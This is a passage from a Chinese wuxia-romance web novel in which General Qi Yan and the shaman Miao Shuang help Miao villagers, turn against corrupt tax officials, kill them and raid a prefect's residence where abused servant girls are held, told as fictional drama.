两人相顾无言,雨声太大,竟也不知道该说些什么,上山时经过不知谁家的院子,收了一半的稻谷铺在地上,早被雨水浇了个湿透,一个青年正坐在地上号啕大哭:“明明马上就晾干了……” 雨水和他脸上的泪水交织在一起,竟分不清究竟是谁在哭。 祁雁停下脚步,一言不发地将雨伞交给苗霜,自己则走上前去,帮那青年收拾起了稻谷。 青年见有人来了,急忙从地上爬了起来,抹一把脸上的水,哽咽道:“不、不用了,我自己来就行。” 祁雁坚持帮他收拾完了稻谷,拿到避雨处,双手抵住竹筐,催动内力,内力震荡之下水分迅速蒸发,不多时,一筐湿谷子就变成了干的。 那苗民看得呆住了,一时也忘了难过:“这……怎么做到的?” 祁雁没说什么,继续帮他人工烘干了所有稻谷,苗民这才如梦方醒,激动得连连冲他道谢:“谢谢,谢谢你!” 祁雁用苗语道:“不客气。” 他说完转身就要离开,却被对方叫住:“等一下!” 苗民飞快地从水桶里提起一个鱼篓,强行塞进他手中:“自家田里养的鱼,还是活的,拿回去吃!” 祁雁推拒道:“这就不必了吧……” 对方却坚持:“拿着!” “让你拿着你就拿着,”苗霜等得有点不耐烦了,“快点,这么大的雨,到底想让我等多久?” 苗民这才发现那边还有人,大惊:“大巫?” 祁雁只好提了鱼篓,回到伞下。 苗霜压低声音,不悦道:“我给你治伤,是让你用内力烘谷子用的?” “那总比用来杀人强。” “……” 两人撑着一把伞走远了,苗民还在后面喊:“谢谢!有空来我家吃饭——!” 鱼篓里的活鱼离了水,开始乱蹦乱跳,苗霜十分嫌弃,不想被腥水溅到身上:“拿远点。” “已经没法再远了,”祁雁道,“夫人明明爱吃鱼,此刻怎么又讨厌起来?” “爱吃熟鱼不等于愿意碰生鱼,”苗霜索性远离了他,“我看你也别打伞了,浑身都湿透了,打伞还有什么用。” 祁雁其实也这么认为,而且这伞太小,根本不够他们两个人打的,强行挤一把伞的后果就是两人都打了等于没打。 他冒着雨跟苗霜一起上山,回到吊脚楼时,竟听到赵戎的声音从后面传来。 这家伙明明跑得最快,却是最晚到的,赵戎两只手各提着一个鱼篓:“刚刚被人硬塞了两篓鱼,那几户人家感谢我们帮忙收稻子,要不是我拿不了了,他们还要给我——咦,将军,您这怎么也有?” “你被送鱼,没一不小心蹦出几句汉话吧?”祁雁问。 “您就放心吧,我也在苗寨待这么久了,还能学不会几句苗语?”赵戎又看向苗霜,“不过,你们这送鱼是什么习俗吗?怎么家家户户都送鱼啊。” 苗霜:“这些都是稻田里养出来的鱼,收稻之前先收鱼,这个时候各家自然是鱼最多,鱼、米不可或缺,米还得攒到年底用来交税,为了表达感谢,自然就是送鱼了。” “这样啊,那这么多鱼……”赵戎掂了掂鱼篓,一篓就得有十几条,“咱们晚上吃全鱼宴怎么样!” 苗霜冲他抬了抬下巴,示意他赶紧把鱼拿去给厨子。 赵戎高高兴兴地拎着鱼篓走了,祁雁却高兴不起来,他眉心微蹙,问苗霜道:“你们每年要给官府交多少税?” “这可说不好,每年都在涨,今年不知道又要涨多少。” “每年都涨?”祁雁眉头皱得更紧了,“光靠秋粮甚至不够你们纳税,还要从夏粮里拨?” “秋收之后就是年,过年要消耗不少,还得留着过冬,自然不够交税,只能用夏粮来补,这两年灾害不断,常有损失,纳完了税,许多人家里的米缸已经见底,吃饭甚至还要去找邻居借——不然你以为前任款首为什么要反抗?” 祁雁:“……” 这稻子从一熟变成两熟,产量多了,百姓们的生活却没有半点变好,依然捉襟见肘。 这粮不在百姓手里,也不见得充进国库,究竟被谁贪了,一目了然。 祁雁深黑的眼眸中隐隐有些怒火,百姓们种出来的粮食填不饱自己的肚子,那些浴血厮杀的戍边将士也不见得日日能吃上饱饭,反倒是尸位素餐的贪官污吏个个中饱私囊,油光满面。 “款首既然愿意信任我,那我也得拿出些实际行动才行,”他语调冷了下来,“我答应夫人的,或许不需要等到季渊死的那天才能实现。” 苗霜诧异道:“你要干什么?” 祁雁看向挂在墙上的刀:“这么好的刀,自然需要个合适的人,以血来祭。” 第97章 第 97 章 别在这,去屋里 苗霜看了看刀, 又看了看他,大致已经猜到他要干什么了,眉梢一挑:“我看前任款首的胆识和你相比还是差些, 你或许不该杀他,该和他好好聊聊, 说不能你们能一拍即合。” “我跟通敌叛国的人可没什么话好聊,”祁雁道, “更何况他是害你至此的元凶,纵然他本心是为了部族,但所行之事依旧不可原谅。” 苗霜饶有兴味地端详了他一会儿:“行了,别说废话了,你赶紧去洗个澡吧,看你这一身泥水腥水,不洗干净别跟我一桌吃饭。” 祁雁莫名其妙:“明明是你让我去帮忙,现在却又嫌弃我。” 但苗霜素来不讲道理,祁雁洗完澡, 晚饭也准备好了。 厨子真给他们弄了一桌全鱼宴上来,赵戎兴高采烈地帮忙摆好了菜, 还倒好了酒。 祁雁看着碗里的白米饭,心里突然有点不是滋味,这段时间他们住在苗寨,吃的用的都是最好的,想必是沾了苗霜的光。 全鱼宴做得色香味俱全,几人喝着酒吃着鱼, 一天的疲劳都在这一顿饭里缓解,但祁雁却有些心不在焉,酒过三巡, 他开口道:“赵戎,姜茂,有件事我想拜托你们。” 赵戎急忙放下酒碗:“什么拜托不拜托的,将军跟我们还这么客气,有什么事您尽情差遣我们就是了。” 姜茂点点头。 “我想请你们回一趟塞北。” “回……回塞北?” “嗯,”祁雁给他满上了酒,“我想知道狄历最近的动向,这里山高水远,消息闭塞,我若一直待在此处,永远也不可能知道外界的情况。” “明白了,这事好说,那我们就回一趟塞北,向兄弟们打听打听,这狄历的消息都传不到晏安城,还得是雁归军最清楚了。” “千万小心,不要暴|露自己,”祁雁又叮嘱,“一切以自身安危为先。” “您就放心吧,我们会找机会用暗号跟兄弟们联络,这还是您教我们的呢。” “好,”祁雁端起酒碗,“那等农忙时节过了,你们就择日启程,提前祝你们一路顺风。” “干!” 几人举杯痛饮,酒意微醺又劳累了一天,早早回去睡觉了。 苗霜也有些困了,连续不断的雨声实在很是催眠,稍微跟祁雁腻歪了一会儿就沉沉睡去。 夜半三更时不知为何醒来,却发觉祁雁没在枕边,他迷迷糊糊地睁开眼,看到那人正站在门口,负手立在檐下,望着屋外如织的雨帘。 大雨带走了夏日的暑气,夜深人静时,竟也感到几分凉意,苗霜裹了裹被子,看了他一会儿,又闭上眼睛。 祁雁……应该快走了吧。 他有时希望他早些痊愈,有时又不希望,他身体越是康复,就意味着离别越近,偶尔他也会想给他下点毒,让他不要好利索才好。 可若不放他离去,这个世界就永远不会好起来,祁雁有属于自己的结局,纵然他苗霜只是一个局外人,可他终究不能作壁上观,放任生灵涂炭。 不知不觉间,他早已和大巫合为一体,再也分不开了。 这苍生道……简直是深潭泥淖,如附骨之疽,一旦踏进去了,就再难全身而退。 * 大雨下了一天一夜才停,天终于放晴时,苗民们急忙去抢收晒谷,一连忙了半月,总算是见缝插针地收完夏粮,插上秋秧。 祁雁他们帮了半个月的忙,连切磋武艺的时间都没有了,赵戎和姜茂休息了两天,便离开苗寨去帮他打听消息,祁雁多给了他们些盘缠,让他们去换两把新刀。 好不容易闲了下来,祁雁只感觉浑身筋骨都潮湿得要发霉了,他在北方可从来没有经历过这么长久的雨季,实在很难适应。 “接下来有什么打算?”苗霜走到他身边,问道。 祁雁结束了打坐,用内力逼出了侵体的潮气,身体轻松了不少,他站起身:“我想去跟款首谈谈,若想成事,光凭我们几个还是不够的,我需要更多人手。” 苗霜皱了皱眉,很显然他并不想将信任给予更多人。 “我知道你的顾虑,但疑人不用,用人不疑,你既然已经把款首带到我面前,就该相信她,相信她慧眼独具,能识别出可用之才。” 苗霜叹了口气:“行吧,我带你去见她。” 祁雁戴上面具,和苗霜一同来到了田款首家,或许是念旧,田语自继任款首以来始终没有搬家,还住在以前的地方。 两人说明来意,田语很痛快地请他们落座,祁雁便也开门见山地道出了自己的计划:“还请款首帮我们寻些好手,最好会些拳脚,且能听懂并会说汉话。” 田语深深看向他,这位祁将军比她预想的还要胆大,她沉吟片刻:“你要多少人?” “五十人左右。” “什么时候要?” “却是不急,年底收税时。” 田语斟酌了一下,点了点头:“好,寨子里懂拳脚的不少,但会说汉话的人找不出那么多,好在时间充裕,我可以教他们。” “那就劳烦款首了,”祁雁道,“我还有一事相求。” “将军请说。” “上次款首赠我的刀确是好刀,这样的刀,我想请款首再帮忙定做五十把。” “……五十把?”田语多少有些惊讶了,“这刀价格不菲,好一点的要两贯钱,最差的也要一贯钱,苗寨可实在拿不出这么多钱来。” “银子自然由我掏,款首不必担心,我的身份不便在外行动,只请款首帮忙预定即可。” 听到不用掏钱,田语安心了些:“这样的话,没问题。” “除此以外,还需……” 祁雁把所需要的东西一一列出,写在了纸上:“还请款首命人低调行事,分批采购,切莫声张。” 苗霜:“我那里刚好有一批破茧的蛊蝶,以此隐藏身份,就算官府找人去查,也查不到我们头上。” 几人敲定了计划,祁雁从京都带来的银箱里拿出了两百两交给田语,田语即刻命人出寨采买。 五十把刀锻造起来可没那么快,只能慢慢等,剩下的材料倒是没多久就买齐了,祁雁开始着手制作弓箭。 之前在将军府时他就做过一把,不过那只是给小孩用的玩具,现在则是货真价实的武器。 苗霜本以为他做些弓箭也就算了,万万没想到某天一觉醒来,就看见自家院子里摆着一张刚刚组装完成的弩。 他眉头跳了跳,看向一旁正在打磨箭杆的祁雁:“你可真刑啊,私造兵器,重罪,私造弩,罪加一等。” “我都是反贼了,还有什么罪比谋逆更重?”祁雁面不改色,“我若不幸被抓了,夫人记得去探监。” “探监?”苗霜皮笑肉不笑道,“你要是被抓了,我就是你的同党,咱俩都得被凌迟处死,谁也探不了谁。” “怎么,夫人害怕了?” 苗霜坐在他腿上,顺势便勾住了他的脖子,亲了亲他的耳垂:“确实怕,我怕你这些兵器不够多,杀伤力不够强。” 祁雁低低笑了,声带的振动近在咫尺:“那就请夫人给我这箭淬点毒,保证杀伤力翻倍。” “用得着吗?”苗霜不屑道,“杀几个人还至于备这么多武器,你对你的武艺没自信?” “自然不是,这些兵器是留给他们自保用的。” 苗霜拿起石桌上的弩,翻来覆去仔细看了看:“你这玩意,好用吗?” “夫人不妨试试看?” 苗霜又拿起一支组装好的箭,放在已经拉开的弩弦上,瞄准了远处的树木,扣动弩机。 箭矢嗖地一声射出,竟直接将那棵小树的树干射了个对穿。 苗霜:“……” 他并不会射箭,竟能自如地使用这弩。 他把弩放回桌上,祁雁问:“如何?” “还不错。”苗霜给出评价。 得到了认可,祁雁唇角微弯,显得有点高兴,就这么抱着他继续组装箭矢,鼻息不断落在苗霜耳边,吹得人很痒。 箭矢一支支在桌上排开,箭镞是苗寨里自己打的,外形稍显粗糙,但并不妨碍使用,边缘已经打磨得十分锋利。 祁雁一个没留神,手指擦过箭镞边缘,指腹立刻被割出一道血口,疼痛让他皱了皱眉,抬手要去吮去伤口上的血。 苗霜却捉住了他的手腕,先他一步含住了他的手指。 祁雁身形一顿。 牙齿用力咬在伤口边缘,带来更强烈的疼痛,污血被悉数挤出,舌尖轻轻扫过受伤的手指,又疼又痒。 苗霜吐掉了那口污血,祁雁指腹的伤口已经开始闭合,伤口愈合带来怪异的酥|麻,顺着皮肤一路向上传递。 祁雁喉头微滚,放下了那支伤他的箭,扳过苗霜的下颌,去舔舐他唇角残余的血迹。 一点未散的血腥味萦绕在唇齿之间,几乎是瞬间勾起了苗霜的兴致,他转了个身,跨坐在对方腿上,伸手捧住他的脸。 这段时间祁雁一直在忙着折腾这些兵器,他们已经很久没亲热了,此刻一发不可收拾,呼吸瞬间变得滚烫起来。 间隙中不知是谁的声音伴随着低喘:“去屋里……” 第98章 第 98 章 将军难道不敢在外面做?…… 祁雁抱着苗霜便要起身。 苗霜却狠狠往下一坐, 用力把他压在了原地:“将军连私造弩箭都敢,难道不敢在外面做?” 祁雁:“……” 这二者究竟有什么可比性吗? 苗霜轻轻啃咬他的喉结:“更何况是你先招惹我的。” 喉结边的小痣被牙齿磨碾,祁雁不禁发出一声闷哼, 他再也克制不住,强行抱着苗霜起身, 身形一闪,人已在吊脚楼里。 房门被砰地一声关上, 遮掩住满室春光。 * 赵戎他们一去数月,盛夏时走,归来已是深秋。 两匹快马直入苗寨,祁雁远远就听到了脚步声,他抬起头来,赵戎已经箭步冲进小院:“将军!” “你们怎么才回来?”祁雁上上下下将他们打量了一遍,确认他们没有缺胳膊……没有多缺胳膊少腿,“数月不归,我还以为你们在路上被山匪劫道了。” “凭我俩这功夫, 我们劫山匪还差不多,”赵戎颇为神气地说, “是我们回来时去了一趟益州,看了看老孟,所以迟了几天。” 祁雁心道这可不止几天,却也没再追问:“孟叔怎样,还好吗?” “好得很,在益州大营里当军医, 老孟都快混成孟老了,日子过得比在雁归军的时候还滋润。” “怎么,意思是我以前亏待了你们?”祁雁一扬眉梢, 道。 “开个玩笑,”赵戎哈哈一笑,“不过说真的,咱塞北的生活环境,确实没人家天府之国强啊。” “行了,废话少说,”祁雁正色下来,“让你们去探听消息,探听得怎么样了?” 赵戎一转身,冲姜茂比了个“请”的动作。 姜茂只得上前:“我们按以前的暗号,跟军营里的兄弟取得了联系,他们说……去年那场沙暴过后,狄历又发动了一次突袭,规模不小,虽然最终被打回去了,但我们这边死了不少人,当然,也没让狄历讨到好处。” 祁雁皱了皱眉。 姜茂:“当时兄弟们都有些心灰意冷,觉得可能熬不过这个冬天了,没想到到了年底,狄历境内突遭大灾,大雪压垮了他们的穹庐,冻死人和牲畜无数,狄历元气大伤,一直到现在都再没来犯境。” “这说明什么,说明咱们大雍气运不该绝,”赵戎插嘴道,“狄历这一遭灾,算是给咱们喘|息的时间了,将军,你说这算不算天助我们?” “也别那么乐观,”祁雁道,“现在看来,今年之内他们大概率不会再有动作,但明年就说不准了……明年秋天,恐怕就是决一死战的时候。” 他顿了顿,又问:“金将军那边呢?” 一听见这仨字,赵戎就把脸一耷拉,抱起胳膊不说话了。 姜茂:“去年那一战后,金将军也不再嚷嚷着要把狄历人逐出王庭了,终日花天酒地,得过且过,恰逢狄历大灾,竟也让他一直混到了现在,这人本事没有,运气倒是不错。” 祁雁叹口气:“如此也好,只要他别再乱下军令,混日子就混日子吧。” “咱们能不能不聊他了?”赵戎显然对这个人很有成见,“对了,之前听那些苗民说,秋收之后就是他们的年,具体什么时候,还有几天?” “……你们回来晚了,苗年早过了。”祁雁道。 “什么?!”赵戎大惊,痛心疾首,“过了?我们紧赶慢赶,居然还是没赶上?” 姜茂忍不住拆穿他:“要不是你非要在益州多待两天,胡吃海喝,我们兴许还能赶上。” “你要是不说出来将军就不会知道……” 祁雁:“虽然苗年过了,但年味应该还没散尽,你们现在去寨子里逛逛,兴许还能赶上年的尾巴。” “那还等什么,快走啊!” 祁雁也站起身来:“正好我要去寻夫人,随你们一起吧。” 赵戎四下环顾,这才发现苗霜不在家里:“大巫去哪儿了?” “被款首叫走了。” 三人戴好面具下了山,在寨子里四处闲逛,天色渐晚,路上却没看到几个人影,也不见几缕炊烟。 “将军,您是不是在骗我们?”赵戎怀疑道,“这哪像过年的样子,明明比平常还冷清。” 祁雁皱了皱眉:“不对。” 昨天寨子里还不是这种氛围。 他闭上眼睛,稍微感应了一下,发觉苗民们正在往寨口聚集。 他面色微沉:“你们随我来。” 三人顺着小路往出寨的方向走,又看到有人接二连三从寨口回来,皆是步履匆匆,唉声叹气。 “这是怎么了?”赵戎奇怪地问,“咱回来时不还一切正常吗?” 他们很快到了寨口,有许多苗民在这里聚集,祁雁随机抓住一人问道:“出什么事了?” “还能出什么事,税官来收税了!” 附近的苗民七嘴八舌,议论纷纷:“今年为什么这么早?比往年早了半个月。” “你们听见了没,今年的税又涨了,比去年涨了一成还多!” “年年涨,年年涨!当我们家里的粮食都是大风刮来的,他们要多少就有多少?” “这群天杀的狗官,是不是要榨干我们身上最后一滴血才甘心?” “嘘,小点声!” 祁雁拨开人群,挤到了前面,就看到田款首和苗霜都在,田语正在跟税官交涉。 那税官拿着账本,趾高气昂:“不行!一分都不能少!” “可我们真的拿不出这么多粮食,”田语恳求道,“还请官爷通融些,我们刚经历过战事,寨子里少了许多人,本来就人手不足,今夏又连降大雨,耽误收成,我们自己都要吃不上饭了。就还按去年的数目,我们一定交上,求官爷开恩。” “不行!”税官不肯退让半分,“上面交代了,一粒米都不能少!你们死人还不是你们自找的!你们之前的那个什么什么款首,和南照串通一气,我们大人还没罚你们呢!今年税收只涨一成,已经很给你们面子了!” 田语:“……” “我呸,”赵戎低声啐了一口,“什么税官,不过是个小吏,居然敢这么猖狂!” “今年要缴纳的数目我已经告诉你们了,我不管你们怎么凑,去偷、去抢随便你们!三天以后我再来,到时候你们要是凑不齐,别怪我们大人不客气。” 那税官说完,骑上马扬鞭而去。 他一走,苗民们顿时炸开了锅,咒骂声叫苦声叹气声此起彼伏,不绝于耳。 祁雁走上前去,压低声音:“大巫,款首。” 赵戎他们也跟了上来,几月不见,田款首鬓边的白发似乎又多了些。 “你们跟我来吧。”田语道。 几人跟随她来到她的住处,田语让廖齐屏退了旁人,她抬头看向祁雁:“将军说的计划,或许是时候实施了。” 赵戎还一头雾水:“计划?什么计划?” 祁雁:“我请款首帮我寻五十人,款首可有眉目?” “已经找好了,都是我的亲信,且大部分是当年大巫选拔的受害者家人,有胆量,不畏死,听候将军差遣,我已经教了他们汉话,只要有大巫的蛊蝶,他们可以冒充汉人,不会被发现。” “如此便好,”祁雁道,“这三日,还请款首让大家多凑些粮食,缴上税粮所需的数目,您放心,这些粮很快就会回来,只多不少。” 田语点了点头。 税官的到来让苗寨中所剩无几的年味烟消云散,田语发动寨民上缴粮食,连催了三天,周边各寨的税粮都汇集过来。 有些人家里缴上这些粮食,米缸里所剩的米甚至只够再吃十天,田语实在看不下去,将自己的米让渡出来,给族人们分。 苗霜则直接腾空了自家的米缸,除了给明秋和厨子留下十几天的口粮外,其他的一分没剩,圣子则去田语家暂住。 就这样东拼西凑,总算是勉强凑够了指定的数目,三日后的清晨,税官如期而至。 人们将一袋袋米装上粮车,有人前脚放下粮食,后脚就开始抹眼泪,有人甚至抱着米袋号啕大哭起来,死活也不肯放手。 税官带着两个手下抢夺着人们手里的粮食,马鞭狠狠抽在苗民们身上,强迫他们松手。 一个苗族女孩小心翼翼地把半袋粮食放进粮车,转身就要逃跑,眼尖的税官立刻叫住她:“等等!” 女孩身体一僵。 “躲躲闪闪的,怎么,心里有鬼?”税官拿起她放下的那袋粮食,“我看看——噫!这是什么?!” 他从袋子里抓起一把发了霉的糙米,一脸嫌弃地撇在地上,当即抽出马鞭:“大胆刁民!敢拿这种东西糊弄本官?!” “啊……别!”女孩看到那袋打翻的米,竟用身体去护,她匆忙跪地扒拉着散落的米粒,不顾米已经脏了,和着土一并收敛进米袋里。 眼看着马鞭就要抽到她身上,忽从旁边伸来一只骨节分明的手,一把抓住了扬起的马鞭,死死拽住。 税官抬起头来:“你干什么?!” “大人何必跟一个孩子置气,”祁雁松开了马鞭,将半袋米递到对方手中,“她的那份,我替她缴了便是。” 税官将信将疑地接过米袋,仔细检查,抓起一把米凑到鼻端去闻:“嗯,这米不错,行吧,我大人不记小人过,就放过你们。” 他把扎好的米袋扔上了粮车,拿着马鞭对苗民们指指点点:“你们这些刁民,都给我老实点!要是再敢拿些糟米滥竽充数,看本官怎么收拾你们!” 女孩抱着发霉的米袋,哭着跑开了,人们沉默不语,一声不吭地排队缴粮。 赵戎他们把最后的几袋米搬上粮车,税官对着账本仔细核对:“我看看,苗霜家……” 祁雁拿着水袋递到他面前:“大人辛苦一天了,喝口水吧。” 税官瞥他一眼:“你还有点眼力价,你这苗人,汉话倒是说得不错,你叫什么名字?” “小人鸣川。” “鸣川……”税官又对起了账本,“有点耳生啊,你家交了多少粮?我怎么没印象呢……” “刚刚您亲自记的,应该在前面那页。” “是吗?”税官将账本往前翻。 “大人,我来帮您找吧,”祁雁站到他身侧,和他一起看起了账本,伸手去指,“就在这里。” “哪里?我怎么没看……嗯?!” 税官一句话还没说完,祁雁指向账本的手突然回拨,掐住了他的下颌,另一只手扣住他的头顶,两只手一推一扭,只听见咔嚓一响,干脆利落地拧断了他的颈骨。 税官甚至还没反应过发生了什么,人已经没了气息,而不远处,赵戎狠狠将另一个小吏的脑袋掼上马车,力道之大,脑浆迸溅。 姜茂悄无声息地出现在一个小吏身后,单臂锁喉,那人一阵手脚乱蹬,很快就没了动静。 三人一击必杀只在瞬息之间,不光被杀的人自己没反应过来,围观的苗民也没一个看懂究竟发生了什么,直到有人发出惊叫:“杀人了……杀人了!” 苗霜走上前来,看了看地上的三具尸体,有些嫌弃地看向赵戎:“下次能换个干净的方式吗?” 赵戎尴尬地摸了摸后脑勺:“抱歉啊,太生气了,没忍住。” “把他们的衣服脱下来换上,”祁雁道,“谁杀的谁穿。” 赵戎看了看那件沾了脑浆的衣服:“……” 三人迅速换好税官的衣服,苗霜撒了一把虫子,饿了许多天的蛊虫飞速啃食起尸体,很快就毁尸灭迹得一干二净。 田语指挥着手下的人搬来几个大箱子,一一打开来,里面是五十把刀、弓十张、弩三把,箭矢若干。 “这些刀你们一人一把。”祁雁道。 五十人有序上前领取了横刀,祁雁又道:“善用弓箭,会打猎者向前一步。” 十几个人出列,看了看弓的数量,又有三人自行退出,刚好分完了十张弓。 祁雁将弩给了姜茂一把,剩下的两把交给了田语:“此物杀伤力巨大,暂且备而不用,切莫在外人面前拿出。” 所有的兵刃都已分完,祁雁跳上粮车:“我们会趁天黑夜袭刺史府,你们尽量在天亮之前抵达,在附近埋伏起来。” “明白。” 祁雁冲苗霜伸手:“大巫,上车。” 第99章 第 99 章 天快亮了。 苗霜抓住他的手, 借力翻上了马车。 赵戎两人则坐在了车尾,祁雁一扯缰绳调转马头,拉车的马匹嘶鸣一声, 扬尘而去。 满载粮食的马车跑得并不快,抵达黔州刺史府时已是深夜。 黔州鱼龙混杂, 管理松懈,宵禁形同虚设, 他们给了城门守卫几枚铜板便被放进了城。 苗霜提前下了车,在附近找了个隐蔽处藏身,祁雁三人则戴着幻蛊面具冒充税官,缓缓将运粮马车停靠在刺史府门前。 这个时间,州廨早已没人办公了,只有两个值夜的护卫站在门前打瞌睡,被马蹄笃笃声吵醒,睡眼惺忪地抬起头来:“什么人?” 祁雁下了车,走到近前:“我们奉命去苗寨收取今年的税粮, 现已收齐了。” “怎么这个时间来啊,”护卫打了个哈欠, 不耐烦地摆摆手,“太晚了,刺史大人早不在府中了,你们明天再来吧。” “大人不在府中?那去了何处?” “你这人问那么多干什么,放班了,当然是出去逍遥快活, 难不成像我们似的,一站站一整夜啊?” 祁雁略一沉吟,又道:“可我们拉着这么多粮食, 也不好运回自己家,万一有所闪失,这罪名我们可担待不起,两位能否通融通融,让我们把马车停进府中,这样总安全些。” 两个护卫对视一眼,觉得他说得也有道理:“那……那行吧,你们停了车就出来,我警告你们,可别趁机搞些小偷小摸,不然,小心你的项上人头!” 他说着噌一声把刀拔出半截,祁雁忙赔笑道:“您放心,就是借给我们十个胆子我们也不敢啊。” “慢着,”另一个护卫又上前,打开米袋,用刀鞘往里戳了戳,随机抽查了数袋,确定里面没藏什么不该藏的东西,这才点头道,“行了,你们进去吧。” “多谢。” 祁雁把马车驱进府中,正要找地方停,就见有人挑着灯笼朝他们走来,二话不说直接牵走了拉车的两匹马,一边摸着马的鬃毛,一边絮絮叨叨:“我的乖乖哟,可算回来了,被他们弄去做那种腌臜事,累坏了吧。” 祁雁:“……?” 赵戎莫名其妙:“你这马夫,说什么呢,我们是奉刺史之命去收税粮,马也是刺史借给我们的,怎么就腌臜了?” 马夫却根本不理他们,牵着马走远了:“我给你们备了最好的草料,快吃吧。” 赵戎:“你……!” 祁雁制止了他,冲他摇了摇头。 赵戎嘁了一声,这才作罢。 祁雁看着马夫消失的方向若有所思,来时他就注意到了,那两匹拉车的马都是千里良驹,黔中这种荒蛮之地,本不该有,刺史却能随随便便地借给收税的小吏,说明他完全不在乎。 以黔州刺史的俸禄根本买不起这种好马,这些钱从哪里来,只能是从百姓身上剥削来的。 祁雁神色暗了暗,他原路返回,又去跟门口的护卫交涉:“车已经停好了,两位,请问我们的工钱……” 护卫满脸不耐:“都说了让你们明天再来,工钱又不归我们管,赶紧滚赶紧滚。” 祁雁:“可我们忙了一天,饭都还没吃上一口,这大冷天的,就指着这点工钱吃口热饭暖暖身子,两位能不能行行好,好歹付我们一钱半铜,让我们去买碗面吃?” “嘿,你这人没完没了了是吧?”护卫翻了脸,当场拔出刀来,用刀尖指着他的鼻子,“废话那么多,让你滚就赶紧滚!再来纠缠,半个子儿都别想拿到!” “我若是非要不可呢?” “我看你是找死!” 护卫挥刀就朝祁雁砍来,祁雁一个闪身躲过,伸手扣住对方的手腕用力一拧,只听“咔”的一声,腕骨便脱了臼。 护卫手里的刀掉落在地,紧接着是他撕心裂肺的惨叫,祁雁一记手刀切在他颈侧,直接把人劈晕了过去。 一切发生在电光石火间,另一个护卫惊得后退了一步:“你、你们到底是什么人?!” 祁雁没给他说第二句话的机会,也把人劈晕了。 赵戎他们脱下两个护卫的衣服换到自己身上,又找来绳子,把他们捆了个严严实实。 苗霜这才从暗处现出身来,从大开的府门大摇大摆地走了进去,顺手给那两个晕倒的护卫下了哑毒。 两人被扔在墙角,赵戎和姜茂代替他们站在了门口,祁雁吩咐道:“你们先在这里守着,我和夫人进去看看。” “明白。” 他们本来打算趁深夜刺杀刺史,却不想刺史竟不在府中,但也不排除是不想干活故意说自己不在,得验了才知真假。 刺史府前院办公,后院便是刺史的居所,两人推开院门,就听见院子里传来什么动静,祁雁箭步上前,拔刀指向动静的源头,却发现那并不是刺史。 一个十三四岁的小姑娘瘫坐在地,身边是打翻的水桶,动静应该就是这东西发出的。 “别、别杀我……”小姑娘抱住胳膊,被雪亮的刀锋吓得瑟瑟发抖,“我有在好好干活,有在好好干活的……” 两人对视一眼,祁雁收了刀,蹲下身来:“你是……?” 一句话还没问完,小姑娘已经吓得连连后退,衣服被地上的污水打湿了都不知道,机械地重复着:“没有偷懒……没有偷懒!别打我……” 苗霜把手按在祁雁肩头,把人扒拉到一边,借着院子里的灯光看向蜷缩在地的人:“她好像神智不太清醒。” 祁雁让开位置,苗霜从袖子里摸出一个小瓶,倒了一枚药丸出来,递给小姑娘:“把这个吃了。” 小姑娘瑟缩着抬头,看了他一会儿,眼神慢慢变得迷离,竟真的接过药丸,塞进了嘴里。 片刻后,苗霜把她从地上扶起,问道:“好些了吗?” 小姑娘神智渐渐清明,终于能正常说话了,但她看起来还是很害怕,甚至不敢和他们对视,声音细若蚊蚋:“你、你们是……什么人?” “我们来找冯刺史,你可有见他?”祁雁道。 “他、他出去了,今晚……不在府中。” “去了哪里?” “我不知……” “何时回来?” “在、在外面过夜,天亮上值时,就、就回来了。” 倒是和护卫说的八九不离十。 祁雁放轻了声音,又问:“你是他的什么人,为何住在这府中?” “我是……刺史大人的婢女,今夜轮到我照顾大人,但大人嫌我照顾得不好,生气,就去外面了。” “照顾?”祁雁皱了皱眉,总觉得这两个字不太对劲,“看你的年纪,还没成年吧?” “我……”小姑娘眼神躲闪,“成、成年了的。” “你说今夜轮到你,意思是像你一样的……‘婢女’,还有别人?” “嗯……有……” “能带我们去见见吗?” “……” 小姑娘不再说话了,苗霜看了看她挽起的袖子,纤细的胳膊上有许多伤痕,青紫交叠,像是被掐出来的,十指肿胀泛红,应是用冷水洗衣服时冻伤了手。 “不用问她了,我们自己去找,”苗霜道,“我已经知道在何处了。” 祁雁闭上眼感应了一下,也捕捉道这座府邸中其他人的踪迹,两人向着同一个方向走去,来到柴房门口。 门上挂着一把锁,祁雁手起刀落将锁头斩断,推门的瞬间,里面传来一片惊叫。 屋内没有掌灯,昏暗一片,但借着绝佳的夜视能力,他们还是看清里面有四五个年纪相仿的少女,她们蜷缩在狭小的柴房里,神色畏缩。 苗霜的视线从她们身上一一扫过,发现每个人身上都有伤。 府中的仆从全是年纪差不多大的少女,想也知道这里发生过什么。 苗霜冷笑一声:“这位冯大人,口味还真重啊。” 忽然,他袖子里的白蛇爬到他肩头,嘶嘶地吐着信子。 “……你说什么?”苗霜面色一变。 祁雁仔细听了听,发现自己果然还是听不懂蛇语,问道:“怎么了?” 苗霜从门口拿了灯笼,进了柴房,停在其中一个少女面前,那少女慢慢抬起头来,呆呆看向他,许久才认出他的脸般,不确定道:“大……大巫?” “什么?”祁雁也走上前来,“她是苗人?” “她已经失踪两年多了,”苗霜声音发沉,“她的父亲因为反对前任款首与南照合谋,被款首的人暗中杀害,寨子里没人为她做主,她便偷偷出寨报官,却一去不回。” 苗霜看着她,神色晦暗不明:“没想到,她竟在这里。” 祁雁深吸一口气。 他离开柴房,把门口的两个喊进来帮忙。 赵戎看到后院的景象,先是瞳孔地震,而后破口大骂:“姓冯的这狗官!畜牲!他怎么干得出这种事!” 苗霜和姜茂将那几个少女搀扶了出去,先找了间干净的厢房安顿她们,又在屋子里点了安神香,紧绷的女孩们精神渐渐放松下来,互相依偎着沉沉睡去。 “天快亮了。”祁雁道。 窗外,东方一线已经吐白,天光破晓,漫漫长夜终至尽头。 “寨子里的人也该到了吧?”他又问。 苗霜点了点头。 * 冯刺史和往常一样去州廨上值,和往常一样迟到了半个时辰。 他刚从令人迷醉的温柔乡里出来,满身的胭脂水粉味儿,打着哈欠,拖着一身还没睡醒的懒骨头跨进了州廨大门。 今天的刺史府也和往常没什么不同,唯一的区别似乎是今日在门口值守的护卫格外有精神,他眉目含笑地拍了拍对方的肩膀,哼着小曲儿进了自己办公的厅堂。 “清正廉明”四个大字高悬于顶,恢宏气派,只不过这堂下坐的却不是他自己,冯刺史揉了揉眼,还以为自己没睡醒,定睛又瞧,发现自己的位置上的确坐着别人。 冯刺史登时拉下脸来,咳嗽两声,故意踏重步子走上前去,敲了敲桌子:“起来,这是你坐的地方吗?” 那人无动于衷,冯刺史深深叹气:“我说庞长史,你有必要吗?等我任职期满,这刺史之位自然是你的,你又何苦在意这一年半载——快点起来!” 